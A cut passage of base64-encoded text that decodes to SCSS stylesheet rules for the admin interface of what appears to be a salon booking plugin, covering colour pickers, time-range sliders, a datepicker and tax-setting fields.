4gIC5jb2xvcnBpY2tlci1jb2xvciBkaXYsXG4gIC5jb2xvcnBpY2tlci1zZWxlY3RvcnMsXG4gIC5jb2xvcnBpY2tlci1zZWxlY3RvcnMgaSB7XG4gICAgaGVpZ2h0OiAyNHB4O1xuICB9XG4gIC5jb2xvcnBpY2tlci1zZWxlY3RvcnMgaSB7XG4gICAgd2lkdGg6IDI0cHg7XG4gICAgYm9yZGVyOiAxcHggc29saWQgI2NjYztcbiAgfVxufVxuXG4uc2xuLWJveCAuc2xuLWNvbG9ycy1zYW1wbGUsXG4uc2xuLWNvbG9ycy1zYW1wbGUge1xuICBmb250LXNpemU6IDFyZW07XG4gIHBhZGRpbmc6IDJyZW07XG4gIEBpbmNsdWRlIGFkbWluX2NvbmZpZy5zcWFyZWRfYmcoKTtcbiAgbWFyZ2luLWJvdHRvbTogNHJlbTtcbiAgLndyYXBwZXIge1xuICAgIEBleHRlbmQgJWJnYy1jb2xvci0tbWFpbjtcbiAgICBwYWRkaW5nOiAycmVtO1xuICB9XG4gIGgxIHtcbiAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICBAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJpZ2dlcjtcbiAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1lbXBoYXNpcztcbiAgICBtYXJnaW4tYm90dG9tOiAycmVtO1xuICB9XG4gIGxhYmVsIHtcbiAgICBmb250LXNpemU6IDAuOGVtO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBtYXgtd2lkdGg6IDEwMCU7XG4gICAgbWFyZ2luLWJvdHRvbTogNXB4O1xuICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgIEBleHRlbmQgJXRleHQtY29sb3ItLWVtcGhhc2lzO1xuICAgIC8vIGNvbG9yID4gcmlkdXJyZSBhbHBoYSBpbiBwcm9wb3J6aW9uZSAxLy43NVxuICAgIC8vb3BhY2l0eTogLjc1O1xuICB9XG4gIGlucHV0IHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBtYXgtd2lkdGg6IDI0MHB4O1xuICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gICAgcGFkZGluZzogMC41ZW0gMC44ZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuOGVtO1xuICAgIGhlaWdodDogYXV0bztcbiAgICBib3JkZXItd2lkdGg6IDFweDtcbiAgICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICAgIGZvbnQtc2l6ZTogMWVtO1xuICAgIEBleHRlbmQgJWJkLWNvbG9yLS1lbXBoYXNpcztcbiAgICAvLyBjb2JvcmRlci1jb2xvciA+IHJpZHVycmUgYWxwaGEgaW4gcHJvcG9yemlvbmUgMS8uMzVcbiAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1kYXJrO1xuICAgIC8vIGNvbG9yID4gcmlkdXJyZSBhbHBoYSBpbiBwcm9wb3J6aW9uZSAxLy43NVxuICAgIG1hcmdpbi1ib3R0b206IDFyZW07XG4gIH1cbiAgYnV0dG9uIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgcGFkZGluZzogMCAxcmVtICFpbXBvcnRhbnQ7XG4gICAgbGluZS1oZWlnaHQ6IDMuNnJlbTtcbiAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgIGhlaWdodDogMy42cmVtO1xuICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgbWFyZ2luLWJvdHRvbTogMXJlbTtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIEBleHRlbmQgJWJnYy1jb2xvci0tZW1waGFzaXM7XG4gICAgQGV4dGVuZCAldGV4dC1jb2xvci0tbWFpbjtcbiAgICAmOmhvdmVyLFxuICAgICY6Zm9jdXMsXG4gICAgJjphY3RpdmUge1xuICAgICAgQGV4dGVuZCAlYmdjLWNvbG9yLS1lbXBoYXNpcy0taG92ZXI7XG4gICAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1tYWluO1xuICAgIH1cbiAgfVxuICBwIHtcbiAgICBmb250LXNpemU6IDFyZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuNHJlbTtcbiAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1kYXJrO1xuICAgIG1heC13aWR0aDogMzYwcHg7XG4gICAgcGFkZGluZzogMDtcbiAgICBtYXJnaW4tYm90dG9tOiAxZW07XG4gIH1cbiAgc21hbGwge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIEBleHRlbmQgJXRleHQtY29sb3ItLWRhcms7XG4gICAgbWF4LXdpZHRoOiAzNjBweDtcbiAgfVxufVxuXG4vLyBDT0xPUlBJQ0tFUiAvLyBFTkRcbi8qIFRJTUUgUkFOR0UgKi9cbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gICN0aW1lLXJhbmdlIHAge1xuICAgIEBleHRlbmQgJWZvbnQtc21hbGw7XG4gIH1cbiAgLnVpLXNsaWRlci1ob3Jpem9udGFsIHtcbiAgICBoZWlnaHQ6IDhweDtcbiAgICBiYWNrZ3JvdW5kOiAjZDdkN2Q3O1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICNiYWJhYmE7XG4gICAgYm94LXNoYWRvdzpcbiAgICAgIDAgMXB4IDAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZSxcbiAgICAgIDAgMXB4IDAgI2NmY2ZjZiBpbnNldDtcbiAgICBjbGVhcjogYm90aDtcbiAgICBtYXJnaW46IDhweCAwO1xuICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNnB4O1xuICAgIC1tb3otYm9yZGVyLXJhZGl1czogNnB4O1xuICAgIC1tcy1ib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgLW8tYm9yZGVyLXJhZGl1czogNnB4O1xuICAgIGJvcmRlci1yYWRpdXM6IDZweDtcbiAgfVxuICAudWktc2xpZGVyIHtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgfVxuICAudWktc2xpZGVyLWhvcml6b250YWwgLnVpLXNsaWRlci1yYW5nZSB7XG4gICAgdG9wOiAtMXB4O1xuICAgIGhlaWdodDogMTAwJTtcbiAgfVxuICAudWktc2xpZGVyIC51aS1zbGlkZXItcmFuZ2Uge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiAxO1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG4gIC51aS1zbGlkZXIgLnVpLXNsaWRlci1oYW5kbGUge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiAyO1xuICAgIHdpZHRoOiAyMnB4O1xuICAgIGhlaWdodDogMjJweDtcbiAgICBjdXJzb3I6IGRlZmF1bHQ7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgfVxuICAudWktc2xpZGVyIGE6Zm9jdXMge1xuICAgIG91dGxpbmU6IG5vbmU7XG4gIH1cblxuICAvLyNzbGlkZXItcmFuZ2Uge1xuICAvL1x0d2lkdGg6IDEwMCU7XG4gIC8vXHRtYXJnaW46IDAgYXV0bztcbiAgLy99XG4gICN0aW1lLXJhbmdlIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgfVxuXG4gIC8vIE5cbiAgLmNvbC1zbGlkZXIge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgfVxuICAudWktc2xpZGVyLWhvcml6b250YWwge1xuICAgIGhlaWdodDogMTAwJTtcbiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICBjbGVhcjogYm90aDtcbiAgICBtYXJnaW46IDA7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KSAwO1xuICAgIHBvc2l0aW9uOiB1bnNldDtcbiAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC0yMHB4KTtcbiAgfVxuICAudWktc2xpZGVyIC51aS1zbGlkZXItcmFuZ2Uge1xuICAgIGhlaWdodDogMC40OHJlbTtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgIGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG4gICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KFxuICAgICAgOTBkZWcsXG4gICAgICBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLFxuICAgICAgYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlclxuICAgICk7XG4gICAgLy9ib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMucmVtKDhweCk7XG4gICAgdG9wOiAwLjAzcmVtO1xuICB9XG4gIC51aS1zbGlkZXIgLnVpLXNsaWRlci1oYW5kbGUge1xuICAgIGhlaWdodDogMS40MnJlbTtcbiAgICB3aWR0aDogMS40MnJlbTtcbiAgICB0b3A6IC0wLjVyZW07XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICBib3gtc2hhZG93OiBub25lO1xuICAgIG91dGxpbmU6IG5vbmU7XG4gICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgbWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gMTUwbXM7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICY6bnRoLWNoaWxkKDIpIHtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtMC4xNjY2NjY2NjY3cmVtO1xuICAgIH1cbiAgICAmOm50aC1jaGlsZCgzKSB7XG4gICAgICBtYXJnaW4tbGVmdDogLTAuMTY2NjY2NjY2N3JlbTtcbiAgICB9XG4gICAgJjpiZWZvcmUsXG4gICAgJjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgaGVpZ2h0OiAxLjQycmVtO1xuICAgICAgd2lkdGg6IDEuNDJyZW07XG4gICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICB0cmFuc2l0aW9uOlxuICAgICAgICB0cmFuc2Zvcm0gMTUwbXMsXG4gICAgICAgIG9wYWNpdHkgMTUwbXM7XG4gICAgfVxuICAgICY6YmVmb3JlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB6LWluZGV4OiAxO1xuICAgIH1cbiAgICAmOmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgICBzcGFuIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3OHB4KTtcbiAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MnB4KTtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogMDtcbiAgICAgIGxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oLTIycHgpO1xuICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgei1pbmRleDogNDtcbiAgICAgIG9wYWNpdHk6IDA7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDApO1xuICAgICAgdHJhbnNpdGlvbjpcbiAgICAgICAgdG9wIDE1MG1zLFxuICAgICAgICBvcGFjaXR5IDE1MG1zLFxuICAgICAgICB0cmFuc2Zvcm0gMTUwbXM7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgd2lkdGg6IDA7XG4gICAgICAgIGhlaWdodDogMDtcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICB0b3A6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgICAgIGJvcmRlci1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpIHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTJweCkgc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMTJweCkgc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgfVxuICAgIH1cbiAgICAvLyY6Zm9jdXMsXG4gICAgJjpob3ZlciB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBvcGFjaXR5OiAwLjI1O1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDIpO1xuICAgICAgfVxuICAgICAgc3BhbiB7XG4gICAgICAgIHRvcDogLTE3MCU7XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICB9XG4gICAgfVxuICAgICY6aG92ZXIge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgb3BhY2l0eTogMC4yNTtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgyKTtcbiAgICAgIH1cbiAgICAgIHNwYW4ge1xuICAgICAgICB0b3A6IC0xNzAlO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgfVxuICAgIH1cbiAgICAmOmFjdGl2ZSB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgb3BhY2l0eTogMC41O1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuOCk7XG4gICAgICB9XG4gICAgICBzcGFuIHtcbiAgICAgICAgdG9wOiAtMTcwJTtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnVpLXNsaWRlciAudWktc2xpZGVyLWhhbmRsZSArIC51aS1zbGlkZXItaGFuZGxlIHtcbiAgICAmOmJlZm9yZSB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyO1xuICAgICAgei1pbmRleDogMTtcbiAgICB9XG4gIH1cbiAgLnNsbi1zbGlkZXIge1xuICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDc1cHgpO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgLy9cbiAgICAvL2FsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgLnNsbi1zbGlkZXJfX2lubmVyIHtcbiAgICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KVxuICAgICAgICBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgfVxuICAgIC5zbG4tYm94LXRpdGxlIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgIH1cbiAgICAuc2xuLXNsaWRlci0tdGl0bGUge1xuICAgICAgbWFyZ2luOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSAwO1xuICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgcGFkZGluZzogMCAwIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICBAZXh0ZW5kICVmb250LWJpZ2dlcjtcbiAgICB9XG4gICAgJi5zbG4tc2Vjb25kLXNoaWZ0IHtcbiAgICAgIC5zbG4tYm94LXRpdGxlIHtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgICAuc2xuLXNsaWRlcl9faW5uZXIge1xuICAgICAgICBib3JkZXItdG9wOiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuY29sIHtcbiAgICBmbG9hdDogbGVmdDtcbiAgfVxuICAuY29sLXRpbWUsXG4gIC5jb2wuY29sLXRpbWUge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGxpbmUtaGVpZ2h0OiB1bnNldDtcbiAgICAuY29sLXRpbWUtdGl0bGUge1xuICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICB9XG4gICAgZW0ge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBmb250LXNpemU6IDEuMjVyZW07XG4gICAgfVxuICB9XG4gIC5jb2wtc2xpZGVyIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBoZWlnaHQ6IDAuNDJyZW07XG4gICAgLy9ib3JkZXI6IDJweCBzb2xpZCAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICBib3JkZXItcmFkaXVzOiAwLjIxcmVtO1xuICB9XG4gIC5jb2wtdGltZSB7XG4gICAgQGV4dGVuZCAlZm9udC1iaWdnZXI7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3NXB4KTtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgc3BhbiB7XG4gICAgICBmb250LXdlaWdodDogNzAwO1xuICAgIH1cbiAgfVxuICAuY29sLmNvbC10aW1lLFxuICAuY29sLmNvbC1zbGlkZXIge1xuICAgIHBhZGRpbmc6IDA7XG4gIH1cbiAgLnNsbi1zbGlkZXItLWRpc2FibGVkIHtcbiAgICAuc2xuLXNsaWRlciB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgIH1cbiAgICAuc2xuLXN3aXRjaCBpbnB1dCArIGxhYmVsOm50aC1jaGlsZCgyKSB7XG4gICAgICBtYXJnaW4tdG9wOiAwO1xuICAgIH1cbiAgfVxuICAuc2xuLWRpc2FibGUtc2Vjb25kLXNoaWZ0IHtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IC0xcmVtO1xuICAgIHJpZ2h0OiAxNXB4O1xuICAgIC8vbGVmdDogMTVweDtcbiAgICAvL3BhZGRpbmctbGVmdDogMjAwcHg7XG4gICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xuICAgICYuc2xuLXN3aXRjaCBpbnB1dCArIGxhYmVsOm50aC1jaGlsZCgyKSB7XG4gICAgICBtYXJnaW4tdG9wOiAwO1xuICAgIH1cbiAgICAvLyY6OmFmdGVyIHtcbiAgICAvL31cbiAgfVxuICAuc2xuLXNsaWRlci13cmFwcGVyIHtcbiAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgfVxuICB9XG4gIC5zbG4tc2xpZGVyLXdyYXBwZXItc2Vjb25kLXNoaWZ0LSB7XG4gICAgZGlzcGxheTogZ3JpZDtcbiAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICBncmlkLXRlbXBsYXRlLXJvd3M6IHNldHRpbmdzLW1peGlucy5yZW0oODBweCkgMWZyO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICBncmlkLXRlbXBsYXRlLXJvd3M6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCkgMWZyO1xuICAgIH1cbiAgICAuc2xuLWRpc2FibGUtc2Vjb25kLXNoaWZ0IHtcbiAgICAgIGdyaWQtY29sdW1uOiAxIC8gMTtcbiAgICAgIGdyaWQtcm93OiAxIC8gMTtcbiAgICB9XG4gICAgLnNsbi1zZWNvbmQtc2hpZnQge1xuICAgICAgZ3JpZC1jb2x1bW46IDEgLyAxO1xuICAgICAgZ3JpZC1yb3c6IDEgLyBzcGFuIDI7XG4gICAgfVxuICB9XG59XG4vKiBUSU1FIFJBTkdFIC8vIEVORCAqL1xuLyogREFURVBJQ0tFUiAqL1xuLnNsbi1pbnB1dC0tZGF0ZXBpY2tlciB7XG4gIC5zbG5fZGF0ZXBpY2tlciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAmOjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgY29udGVudDogJ1xcZjA3Myc7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICB0b3A6IDA7XG4gICAgICByaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgIGJvdHRvbTogMDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgfVxuICB9XG59XG4vKiBEQVRFUElDS0VSIC8vIEVORCAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dF9fZ3JvdXAge1xuICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICBwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICBib3JkZXItYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDJweCkgc29saWRcbiAgICAgIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICB9XG59XG4uc2xuLWlucHV0LS1tdCB7XG4gIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG59XG5cbi8qIEZJWCAwOTIwMjMgKi9cbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1pbnB1dC0tc2ltcGxlLnNsbi1zZXR0aW5ncy10YXggbGFiZWwge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IC0yMHB4O1xuICB9XG4gICNzbG4tZW5hYmxlX2Jvb2tpbmdfdGF4X2NhbGN1bGF0aW9uXG4gICAgLmZvcm0tZ3JvdXBcbiAgICAuc2xuLWlucHV0LS1zaW1wbGUuc2xuLXNldHRpbmdzLXRheFxuICAgIGlucHV0W3R5cGU9J251bWJlciddIHtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgdG9wOiAtNHB4O1xuICAgIGJvcmRlcjogMDtcbiAgICBmb250LXNpemU6IDIuNWVtO1xuICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2IoMTk5LCAyMjMsIDI0Myk7XG4gICAgLW1vei1hcHBlYXJhbmNlOiB0ZXh0ZmllbGQ7XG4gICAgYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xuICB9XG4gICNzbG4tZW5hYmxlX2Jvb2tpbmdfdGF4X2NhbGN1bGF0aW9uXG4gICAgLmZvcm0tZ3JvdXBcbiAgICAuc2xuLWlucHV0LS1zaW1wbGUuc2xuLXNldHRpbmdzLXRheFxuICAgIGlucHV0W3R5cGU9J251bWJlciddOjotd2Via2l0LW91dGVyLXNwaW4tYnV0dG9uLFxuICAjc2xuLWVuYWJsZV9ib29raW5nX3RheF9jYWxjdWxhdGlvblxuICAgIC5mb3JtLWdyb3VwXG4gICAgLnNsbi1pbnB1dC0tc2ltcGxlLnNsbi1zZXR0aW5ncy10YXhcbiAgICBpbnB1dFt0eXBlPSdudW1iZXInXTo6LXdlYmtpdC1pbm5lci1zcGluLWJ1dHRvbiB7XG4gICAgZGlzcGxheTogbm9uZTtcbiAgICAtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmU7XG4gIH1cbiAgLnNsbl9tZXRhX2ZpZWxkX2ZpbGUge1xuICAgIHdpZHRoOiBtYXgtY29udGVudDtcbiAgICBmb250LXNpemU6IDEuNWVtO1xuICB9XG4gICNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm9vdHN0cmFwIC5zbG5fbWV0YV9maWVsZF9maWxlIGEge1xuICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xuICB9XG59XG5cbi8qIEJSRUFLIFRJTUUgKi9cbiNzbG4tc2Fsb24tLWFkbWluLS0tIHtcbiAgLnNsbi1zbGlkZXItYnJlYWstZHVyYXRpb24td3JhcHBlciAudWktc2xpZGVyLXJhbmdlIC5zbGlkZXItdGltZS1icmVhayB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTIwcHg7XG4gICAgbGVmdDogNDUlO1xuICB9XG5cbiAgLnNsbi1zbGlkZXItYnJlYWstZHVyYXRpb24td3JhcHBlclxuICAgIC51aS1zbGlkZXItaGFuZGxlXG4gICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtcmFuZ2UtdmFsdWUsXG4gIC5zbG4tc2xpZGVyLWJyZWFrLWR1cmF0aW9uLXdyYXBwZXJcbiAgICAuc2xuLXNsaWRlci0tYnJlYWstdGltZVxuICAgIC5zbG4tc2xpZGVyLS1icmVhay10aW1lLXJhbmdlLXZhbHVlIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtMjBweDtcbiAgICBsZWZ0OiAxNSU7XG4gIH1cblxuICAuc2xuLXNsaWRlci1icmVhay1kdXJhdGlvbi13cmFwcGVyXG4gICAgLnNsbi1zbGlkZXJcbiAgICAuc2xuLXNsaWRlci0tYnJlYWstdGltZVxuICAgIGg0LnNsbi1zbGlkZXItLWJyZWFrLXJhbmdlLS1oZWFkZXIge1xuICAgIG1hcmdpbjogYXV0byBhdXRvIDI1cHggYXV0bztcbiAgICBmb250LXdlaWdodDogNDAwO1xuICB9XG4gIC5zbG4tc2xpZGVyXG4gICAgLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aFxuICAgIC5zbG4tc2xpZGVyLS1icmVhay1sZW5ndGgtLW1pbnVzOjphZnRlciB7XG4gICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gICAgZm9udC1zaXplOiAxLjlyZW07XG4gICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICBjb2xvcjogc2V0dGluZ3MtbWl4aW5zLi